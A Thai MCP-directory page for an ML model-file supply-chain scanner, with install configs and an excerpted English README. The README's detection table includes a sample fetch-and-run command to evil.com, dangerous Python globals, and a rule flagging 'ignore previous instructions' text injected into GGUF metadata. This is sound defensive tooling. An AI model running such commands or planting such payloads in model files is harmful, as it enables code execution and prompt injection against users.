Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
คำอธิบายจากผู้ทำ (ภาษาอังกฤษตามต้นฉบับ)
Scans ML model files (PyTorch, joblib, NumPy, GGUF, TensorFlow…) and HF repos for supply-chain risks
สามเรื่องนี้ไม่รวมเป็นคะแนนเดียว เพราะความเห็น การวัด และความนิยม เป็นคนละเรื่องกัน
ตัวนี้ยังไม่ได้เรียบเรียงเป็นภาษาไทย ด้านล่างคือข้อเท็จจริงที่เราอ่านจาก registry
เลือกโปรแกรม AI ที่คุณใช้ แล้วคัดลอกค่าตั้งไปวาง
ต้องเตรียมก่อน
คุณใช้แอปไหน
เลือกแอปด้านบน เราจำไว้ให้ ครั้งหน้าปุ่มจะขึ้นว่า “ติดตั้งลง …”
เปิด Claude Desktop → Settings → Developer → Edit Config แล้ววางค่านี้ในไฟล์ claude_desktop_config.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}พิมพ์คำสั่งนี้ใน Terminal
claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scannerวางในไฟล์ .cursor/mcp.json ของโปรเจกต์ หรือ ~/.cursor/mcp.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง
วางในไฟล์ .vscode/mcp.json ของโปรเจกต์
{
"servers": {
"model-scanner": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง
ตัวนี้รันในเครื่องคุณ แต่ ChatGPT ต่อได้เฉพาะ server บนอินเทอร์เน็ต ลองเลือกแอปอื่น
ตัวเลือกเก็บในคุกกี้บนเครื่องนี้ ไม่ต้องมีบัญชี
ค่าตั้งนี้สร้างจากข้อมูลใน registry ของผู้ทำ ถ้าไม่ตรงกับ README ให้เชื่อ README
รันในเครื่องคุณ รายการเครื่องมือจะขึ้นในแอป AI หลังติดตั้ง
เราตรวจจากข้อมูลที่ใครก็เปิดดูได้ ยังไม่ได้อ่านโค้ด ข้อที่ไม่เกี่ยวกับตัวนี้ไม่นับในตัวหาร · ตรวจเมื่อ 6 พ.ย. 2569
ชื่อใน registry ยืนยันด้วยบัญชี GitHub GuardBee ซึ่งเป็นเจ้าของ repo
ยังไม่ได้อ่านข้อมูล repo จาก GitHub
ยังไม่ได้อ่านข้อมูล repo จาก GitHub
ตัวนี้รันบนเครื่องคุณ ไม่มี endpoint บนอินเทอร์เน็ต
ตัวนี้รันบนเครื่อง ใช้ค่าที่ตั้งในเครื่องแทน
รันในเครื่องคุณ เราอ่านรายการเครื่องมือได้เฉพาะตัวที่มี endpoint บนอินเทอร์เน็ต
เทียบกับทุก server ที่ยังใช้งานในหมวดนี้ทั้งทะเบียน ดาวนับเฉพาะเมื่อผู้ลงทะเบียนเป็นเจ้าของ repo
จากการตรวจเบื้องต้นของเรา ผ่าน 1 จาก 1 ข้อที่ตรวจได้ เรายังไม่ได้อ่านโค้ด ก่อนใส่กุญแจหรือ token ให้ดูว่า server ขอสิทธิ์อะไร และเลือกกุญแจที่ทำได้เท่าที่จำเป็น
registry ไม่ได้ระบุว่าต้องใช้กุญแจ แต่บางตัวจะขอให้ล็อกอินตอนใช้ครั้งแรก
รันบนเครื่องของคุณ โปรแกรม AI จะเปิด server ขึ้นมาเองเมื่อใช้ ข้อมูลไม่ต้องผ่านเซิร์ฟเวอร์ของผู้ทำ (ยกเว้นตัวที่ไปเรียกบริการออนไลน์ต่อ)
repo บน GitHub มีการแก้โค้ดล่าสุด – และส่งรุ่นล่าสุด (0.4.0) เข้า registry 7 วันที่ผ่านมา
โปรแกรมที่รองรับ MCP เช่น Claude Desktop, Claude Code, Cursor และ VS Code ตัวนี้ต้องมี Node.js ในเครื่องด้วย
ในหมวดเดียวกันมี Spec Driven Development, Remote Desktop Commander, LickityClick
server หมวดเดียวกันจากผู้ทำคนอื่น เรียงตามดาว
อ่านการ์ด:★ ดาว GitHubiสามเสา: รีวิว · ผลตรวจ · การใช้งานiอัปเดต = วันที่ส่งรุ่นล่าสุดเข้า registryi
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Create, edit and track LickityClick short links, campaigns and click stats from your AI assistant.
ส่วนนี้คัดจาก repo ของผู้ทำตามต้นฉบับ PopNx MCP ไม่ได้ตรวจหรือรับรองเนื้อหา ตัด HTML รูปภาพ และสคริปต์ออกแล้ว ลิงก์จะพาออกนอกเว็บ
🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch
An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.
Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.
Telemetry is off by default. With
GUARDBEE_TELEMETRY=1it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields likecontent,tokenorpasswordare replaced with a placeholder. See@guardbee/mcp-telemetry.
Claude ──► model-scanner ──► Your model files
│ ├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included) ├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds ├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy ├─ .safetensors → header structure + disguised-binary check ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip) ├─ .onnx → external_data path-traversal heuristic ├─ .gguf → header/tensor bounds, chat-template SSTI and injected text ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python └─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.
This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.
joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.
Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:
os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/highnumpy, torch, sklearn, collections, …) → silently safe, no noiseFor PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.
data.pkl without loading the full checkpointallow_pickle=True) and plain pickles renamed to a NumPy extension.safetensors extension.h5, Keras 3 .keras zips and SavedModel keras_metadata.pb.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URLscan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from itguardbee.yml{
"mcpServers": { "guardbee-model-scanner": { "command": "npx", "args": ["-y", "@guardbee/mcp-model-scanner"] } } }
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.
| Tool | Description |
|---|---|
scan_file | Scans a single model file |
scan_directory | Recursively scans a directory of model files (a SavedModel through its saved_model.pb) |
scan_hf_repo | Scans every model file of a Hugging Face model repo at a pinned commit |
list_patterns | Lists the dangerous-global catalog by risk category, and the TensorFlow ops checked |
| Format | Check | Severity | Example | |
|---|---|---|---|---|
| pickle / PyTorch | Reference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commands | critical | `os.system('curl evil.com/x \ | sh')` |
| pickle / PyTorch | builtins.eval/exec/compile/__import__, pickle.loads, marshal.loads | critical | recursive/nested payload, or a direct eval | |
| pickle / PyTorch | builtins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopen | high | exfiltration, SSRF, file read/write | |
| safetensors | Header starts with a pickle/zip signature instead of a length | critical | a .pkl renamed to .safetensors | |
| safetensors | Tensor data_offsets exceed the actual data section | high | a parser reading out-of-bounds | |
| safetensors | Invalid/oversized header length, non-JSON header | high | corrupt or adversarially crafted header | |
| Keras .h5/.keras/SavedModel | class_name: "Lambda" in the model config | critical | marshalled-function RCE on load | |
| ONNX | external_data location containing .. | high | path traversal to an arbitrary file | |
| dill | dill._dill._create_code/_create_function/_eval_repr | critical | a function rebuilt from bytecode and called during load | |
| dill | dill._dill._import_module/_get_attr/_create_filehandle | high | reaching os.system without naming os | |
| joblib | any of the pickle rules, in the main stream or a nested object-array pickle | as the rule | a payload hidden after a real array | |
| NumPy | object dtype; a pickle with a .npy extension | medium / high | np.load(..., allow_pickle=True) unpickles it | |
| GGUF | chat template reaching Python internals (__class__, __globals__, …) | critical | Jinja sandbox escape (CVE-2024-34359) | |
| GGUF | hidden Unicode or "ignore previous instructions"-style text in metadata | high | instructions injected into every conversation | |
| GGUF | counts, lengths, dimensions or tensor bounds inconsistent with the file | high | heap overflow in an unpatched loader | |
| TensorFlow | WriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file:// | critical–medium | a graph that touches the serving host |
Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.
| Rule ID | Severity |
|---|---|
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_* | critical / high |
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized | low / medium |
numpy_object_array | medium |
numpy_disguised_pickle | high |
numpy_bad_header, numpy_npz_unreadable | medium |
numpy_npz_entry_unreadable, numpy_npz_partial_scan | low |
gguf_chat_template_ssti | critical |
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic | high |
gguf_duplicate_tensor, gguf_tensor_misaligned | medium |
| gguf_chat_template_url, gguf_unknown_tensor_type, `gguf_not_pa
ตัดมาแค่ช่วงต้น อ่านต่อใน repo